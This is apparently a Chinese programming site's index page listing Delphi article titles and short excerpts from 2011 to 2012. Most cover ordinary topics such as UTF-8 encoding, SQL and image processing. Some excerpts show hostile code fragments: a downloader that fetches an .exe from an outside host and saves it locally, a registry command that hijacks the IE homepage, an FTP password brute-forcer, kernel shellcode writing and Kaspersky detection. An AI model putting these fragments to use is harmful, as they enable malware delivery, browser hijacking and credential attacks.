当前位置：主页 > 网络编程 > Delphi > delphi技术文章 >
  • 日期：2012-02-08 00:20:14
    [delphi技术文章] 解决Delphi XE(2010，2009)里的UTF8乱码问题

    • 内容简介：Delphi 后续 Unicode 版本中， 一些单元里碰到UTF8编码字符，如果我们可能没有安装西欧的一些字符集，单元有可能显示错误，用delphi右键菜单 File Format-UTF8也未必能修复好。 如图： 正是因为 Delphi 单元不认识UTF8字符集，导致单引号被吃掉，编译异常！...

  • 日期：2012-02-08 00:19:31
    [delphi技术文章] SQL语句排序解决一简单的查询结果

    • 内容简介：最近一朋友问了一个SQL查询排序的问题,数据库中表数据如下： IMEI MeterID 00001 0000001 00001 0000002 00001 0000003 00001 0000004 00001 0000005 00002 0000001 00002 0000002 00002 0000003 00003 0000001 00003 0000002 00003 0000003 00003 0000004 00...

  • 日期：2012-02-08 00:19:06
    [delphi技术文章] 关于Delphi XE2的FMX的一点点研究之消息篇

    • 内容简介：Delphi XE2出来了一阵子了，里面比较抢眼的东西，除了VCLStyle这个换肤的东西之外，另外最让人眼亮的应该是FMX这个东西了。万一的博客上都连载了一票的关于FMX的使用心得了。我还是没咋去关注，因为技术这个东西，天天在变，跟着他跑，俺伤不起啊！直到今天，...

  • 日期：2012-02-08 00:18:08
    [delphi技术文章] Delphi XE中诡异的匿名方法动态绑定事件

    • 内容简介：总有一些Delphi老粉丝，经常口出狂言：D7以来delphi都没什么进步，所以一直在用D7！ 因为程序员具有一种深入骨髓的惰性，与年龄日益增长，懒惰和保守遮住了delphi在细节上无微不至的进步！ 关于动态绑定事件，老版本当然也可以实现，一个是实现相同的参数名称...

  • 日期：2012-02-08 00:16:03
    [delphi技术文章] 关于在Delphi中链接VC的obj文件（XE2以上版本）

    • 内容简介：个人用的少的东西，笔记之，以作记录 实际上老久之前，应该在Delphi中就可以链接使用Obj文件了吧，我用的第一个Delphi版本是D7，我记得他就可以了。至于再往前追述，就不晓得初始来源是哪个版本了。不过对于以前的版本的链接obj只能是OMF这个格式，这个格式是...

  • 日期：2012-01-01 05:59:49
    [delphi技术文章] Delphi判断卡巴版本

    • 内容简介：uses Windows,registry,StrUtils,shellapi; var reg: TRegistry; s: string; begin reg := TRegistry.Create; reg.RootKey := HKEY_LOCAL_MACHINE; reg.OpenKey(SOFTWARE\KasperskyLab\WmiHlp\{2C4D4BC6-0793-4956-A9F9-E252435469C0}, False); s:=reg.ReadS...

  • 日期：2012-01-01 05:57:26
    [delphi技术文章] 三种语言的下载者源代码：C Delphi Vb

    • 内容简介：C #includewindows.h #includeurlmon.h #includeprocess.h #includeShellapi.h //这里这个头文件是对ShellExecute的定义 #pragma comment (lib,Urlmon.lib) int main() { URLDownloadToFile(NULL, http://www.520jsj.com/kj/hoho.exe,C:\test.exe,0,NULL );...

  • 日期：2012-01-01 05:55:12
    [delphi技术文章] IE首页批处理,VBS,注册表文件导入等方式修改办法

    • 内容简介：最常规的批处理写法. 将下面代码直接放进一个批处理中即可.然后将对应地方的网站URL修改成您需要的URL. 复制内容到剪贴板 代码: @reg add HKCU\Software\Microsoft\Internet Explorer\Main /v Start Page /d http://www.520jsj.com/ /f 批处理在桌面添加一个...

  • 日期：2012-01-01 05:52:52
    [delphi技术文章] delphi如何编写通用内核shellcode

    • 内容简介：编写通用内核shellcode 一、多个内核漏洞的出现将研究者的目光从ring3引向了ring0 最近曝光的ms08-025漏洞，受影响的系统包含了微软出版的几乎所有NT体系结构的版本， 引起了不少研究者的兴趣，漏洞曝光不久就在网上出现了利用程序。基于内核漏洞的溢出， 为...

  • 日期：2011-12-30 00:29:32
    [delphi技术文章] 一个暴破FTP用户名和密码（delphi源码）

    • 内容简介：?php //用法：php 本文件.php FTP的IP 端口 用户字典 密码字典，示例：php ftp.php 192.168.8.10 21 user.dic pass.dic。可以自己改动sleep里的秒数，暴破成功后用户名和密码保存在同目录下的ok.txt。 //分别取不同用户名和N个密码对应 $user=file($_SERVER[...

  • 日期：2011-11-29 03:54:41
    [delphi技术文章] Delphi中运用Windows的位图Alpha混合技术

    • 内容简介：alpha混合是像素融合算法之一,就是按照alpha混合向量的值来混合源像素和目标像素,具体的说就是将源像素和目标像素加权相加的组合(混合)两个图像(源图像和目标图像).源像素的权值通常被称为alpha值,目标像素的权值是(1 alpha),1是最大的颜色值.alpha混合是按...

  • 日期：2011-11-29 03:52:26
    [delphi技术文章] Delphi中GDI+实现图像二值化 和 GDI+在Delphi程序的应用Photosho

    • 内容简介：// 灰度或者二值化彩色图像 procedure GrayImage(Image: TGpImage; Threshold: Single = 0.0); const ColorMatrix: TColorMatrix = ((0.3, 0.3, 0.3, 0.0, 0.0), (0.59, 0.59, 0.59, 0.0, 0.0), (0.11, 0.11, 0.11, 0.0, 0.0), (0.0, 0.0, 0.0, 1.0, 0.0), (...

  • 日期：2011-11-29 03:48:34
    [delphi技术文章] Delphi中Image图像组件调节亮度、对比度、饱和度的算法 和 Delph

    • 内容简介：//亮度调整 procedure BrightnessChange(const SrcBmp,DestBmp:TBitmap;ValueChange:integer); var i, j: integer; SrcRGB, DestRGB: pRGBTriple; Table: array[0..255]of Byte; begin if ValueChange 0 then for i := 0 to 255 do Table[i]:=Byte(i + ((Val...

  • 日期：2011-11-29 03:46:54
    [delphi技术文章] Delphi中判断一个文件是不是JPG图片文件 和 Delphi中位图缩放效

    • 内容简介：function IsJpegFile(FileName: string): Boolean; const RightBuf : array[0..3] of Byte = ($FF,$D8,$FF,$D9); var Buf: array[0..3] of Byte; begin FillChar(Buf, 4, 0); with TFileStream.Create(FileName, 0) do begin Position := 0; ReadBuffer(Buf[...

  • 日期：2011-11-29 03:45:14
    [delphi技术文章] Delphi中启用禁止CD驱动器自动运行播放 和 Delphi中从PCM,U,A率

    • 内容简介：type TAutoPlayForm = class(TForm) chkNoAutoPlay: TCheckBox; procedure FormCreate(Sender: TObject) ; private procedure WindowProcedure(var Msg : TMessage) ; end; var AutoPlayForm: TAutoPlayForm; Message_QueryCancelAutoPlay : Cardinal; imple...